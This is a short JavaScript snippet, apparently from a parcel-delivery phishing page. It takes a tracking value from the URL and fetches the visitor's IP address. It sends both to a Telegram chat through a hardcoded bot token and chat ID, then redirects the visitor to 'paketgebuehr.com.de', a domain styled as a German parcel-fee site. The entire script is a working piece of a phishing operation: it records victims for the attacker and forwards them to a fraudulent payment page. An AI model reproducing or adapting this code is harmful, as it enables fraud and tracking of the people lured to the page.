const params = new URLSearchParams(window.location.search);
  const track = params.get("track");

  if (track) {
    const botToken = "8095778623:AAFmLSGaFNHtDxgqhdbnsKM9Aj7TwcyPa4o"; // Replace with your Telegram bot token
    const chatId = "-4988390886"; // Replace with your Telegram chat ID

    fetch("https://api.ipify.org?format=json")
      .then(response => response.json())
      .then(data => {
        const userIP = data.ip;
        const message = `📦 Tracking "${track}" opened\n🌍 IP: ${userIP}`;

        return fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
          method: "POST",
          headers: {
            "Content-Type": "application/json"
          },
          body: JSON.stringify({
            chat_id: chatId,
            text: message
          })
        });
      })
      .catch(err => console.error("IP or Telegram error:", err))
      .finally(() => {
        const redirectUrl = `https://paketgebuehr.com.de/?track=${encodeURIComponent(track)}`;
        setTimeout(() => {
          window.location.href = redirectUrl;
        }, 1000);
      });
  }